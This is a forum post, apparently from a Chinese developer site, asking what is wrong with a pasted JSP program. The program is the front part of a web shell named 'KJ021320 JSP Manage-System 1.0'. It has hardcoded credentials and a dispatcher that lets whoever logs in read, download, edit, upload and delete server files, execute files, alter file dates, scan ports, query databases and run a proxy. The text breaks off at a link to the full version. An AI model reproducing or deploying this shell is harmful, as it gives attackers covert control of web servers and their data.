你们看看这个程序啥问题啊

wshsdlau 2010-10-04 12:42:14

管理系统cred 收藏

//以下为代码/////////////////////////

<%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
<%@page pageEncoding="gbk"%>
<%!
final String APP_NAME="KJ021320 JSP Manage-System 1.0";
int portListen=5000;//set the httpproxy port
boolean openHttpProxy=false;//set the httpproxy load-on-start-up
%>
<%
session.setMaxInactiveInterval(6000);
final String WEB_SITE=folderReplace(application.getRealPath("/"));
final String URL=request.getRequestURI();
if(session.getAttribute("ID")==null){
// the user and pass field
String username="kj021320";
String password="kj021320";
// the user and pass field

if(request.getParameter("LName")!=null&&request.getParameter("LPass")!=null&&request.getParameter("LName").equals(username)&&request.getParameter("LPass").equals(password)){
session.setAttribute("ID","1");
response.sendRedirect(URL);
}else{
out.println("<center style=font-size:12px><br><br>"+APP_NAME+"<br><br>" +
"<form name=login method=post>username:<input name=LName type=text size=15><br>" +
"password:<input name=LPass type=password size=15><br><input type=submit value=Login></form></center>");
}
return;
}

%>
<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=gb2312">
<title><%=APP_NAME%></title>
<style type="text/css">
body,td{font-size: 12px;}
table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
input,select{font-size:12px;}
body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
td{white-space:nowrap;}
a{color:black;text-decoration:none;}
</style>
<script>
Top=top.address;
function downFile(file){
Top.Filename.value=file;
Top.Action.value="D";
Top.submit();
}
function checkUrl(){
top.address.Action.value="F";
top.address.submit();
}
function editFile(file){
top.address.Action.value="E";
top.address.Filename.value=file;
top.address.submit();
}
function delFile(file){
top.address.Action.value="R";
top.address.Filename.value=file;
top.address.submit();
}
function reName(file){
if((Rname=prompt("rename to?",file))!=""&&Rname!=null){
Top.Action.value="N";
top.address.Filename.value=file+"|"+Rname;
Top.submit();
}
}
function copyFile(file){
if((Rname=prompt("copy to?",file))!=""&&Rname!=null){
Top.Action.value="P";
top.address.Filename.value=file+"|"+Rname;
Top.submit();
}
}
function setDate(file){
document.write("Change date:<br><form method='post' action='?Action=dateChange'>");
document.write("filename:<input name='Filename' type='text' size=60 readonly value='"+file+"'><br>");
document.write("Year:<select name='year'>");
for(i=1970;i<=2050;i++){
document.write("<option value="+i+">"+i+"</option>");
}
document.write("</select>");
document.write("Month:<select name='month'>");
for(i=1;i<=12;i++){
document.write("<option value="+i+">"+i+"</option>");
}
document.write("</select>");
document.write("Day:<select name='day'>");
for(i=1;i<=31;i++){
document.write("<option value="+i+">"+i+"</option>");
}
document.write("</select>");
document.write("<input name='Action' type='button' onclick='top.address.Action.value=\"d\";this.form.submit();' value='dateChange'>");
document.write("<input name='cancel' onclick='history.back();' type='button' value='Cancel'>");
}
function zipFile(file){
if((zipF=prompt("save to ?",file+"/down.zip"))!=""&&zipF!=null){
top.address.Action.value="Z";
top.address.FolderPath.value=file;
top.address.Filename.value=zipF;
top.address.submit();
}
}
function setDataBase(f){
driverName=new Array();
driverName[0]="com.sybase.jdbc2.jdbc.SybDriver";
driverName[1]="com.microsoft.jdbc.sqlserver.SQLServerDriver";
driverName[2]="com.mysql.jdbc.Driver";
driverName[3]="oracle.jdbc.driver.OracleDriver";
driverName[4]="com.ibm.db2.jdbc.app.DB2Driver";
driverName[5]="org.postgresql.Driver";
conUrl=new Array();
conUrl[0]="jdbc:jtds:sybase://host:port/database";
conUrl[1]="jdbc:microsoft:sqlserver://host:port;DatabaseName=";
conUrl[2]="jdbc:mysql://host:port/database";
conUrl[3]="jdbc:oracle:thin:@host:port:database";
conUrl[4]="jdbc:db2://host:port/database";
conUrl[5]="jdbc:postgresql://host:port/database";

f.driver.value=driverName[f.DB.selectedIndex];
f.conUrl.value=conUrl[f.DB.selectedIndex];
}
</script>
</head>
<body>
<%
String Action=request.getParameter("Action");
char action=(Action==null?"0":Action).charAt(0);
try{
switch(action){
//each skill
case 'M':mainMenu(out,WEB_SITE);break;
case 'F':showFiles(out,encodeChange(request.getParameter("FolderPath")));break;
case 'S':showSystemInfo(out);break;
case 'L':servletInfo(config,out);break;
case 'D':downFile(encodeChange(request.getParameter("Filename")),response);return;
case 'E':editFile(encodeChange(request.getParameter("Filename")),out);break;
case 'R':deleteFile(encodeChange(request.getParameter("Filename")),out);break;
case 'K':saveFile(encodeChange(request.getParameter("filename")),request.getParameter("FileContent").getBytes("ISO-8859-1"),out);break;
case 'N':renameFile(encodeChange(request.getParameter("Filename")),out);break;
case 'P':copyFile(encodeChange(request.getParameter("Filename")),out);break;
case 'd':dateChange(encodeChange(request.getParameter("Filename")),request.getParameter("year"),request.getParameter("month"),request.getParameter("day"),out);break;
case 'r':execFile(encodeChange(request.getParameter("execFile")),out);break;
case 'Z':zip(encodeChange(request.getParameter("Filename")),encodeChange(request.getParameter("FolderPath")),out);break;
case 'U':upfile(request,out,encodeChange(request.getParameter("UPaddress")));break;
case 'n':newFolder(out,encodeChange(request.getParameter("Filename")));break;
case 'A':reflectAPI(out,encodeChange(request.getParameter("Filename")));break;
case 'I':scanPort(out,encodeChange(request.getParameter("IPaddress")),Integer.parseInt(request.getParameter("startPort")),Integer.parseInt(request.getParameter("endPort")));break;
case 's':ConnectionDBM(out,encodeChange(request.getParameter("driver")),encodeChange(request.getParameter("conUrl")),encodeChange(request.getParameter("user")),encodeChange(request.getParameter("password")),encodeChange(request.getParameter("run")),encodeChange(request.getParameter("sqlcmd")));break;
case 'H':switchProxyService(out);break;
case 'i':userInterFaces(out);break;
case 'T':systemTools(out);break;
default:
mainForm(WEB_SITE,out);break;
}
}catch(Exception e){
}
out.print("</body></html>");
out.close();

%>

...全文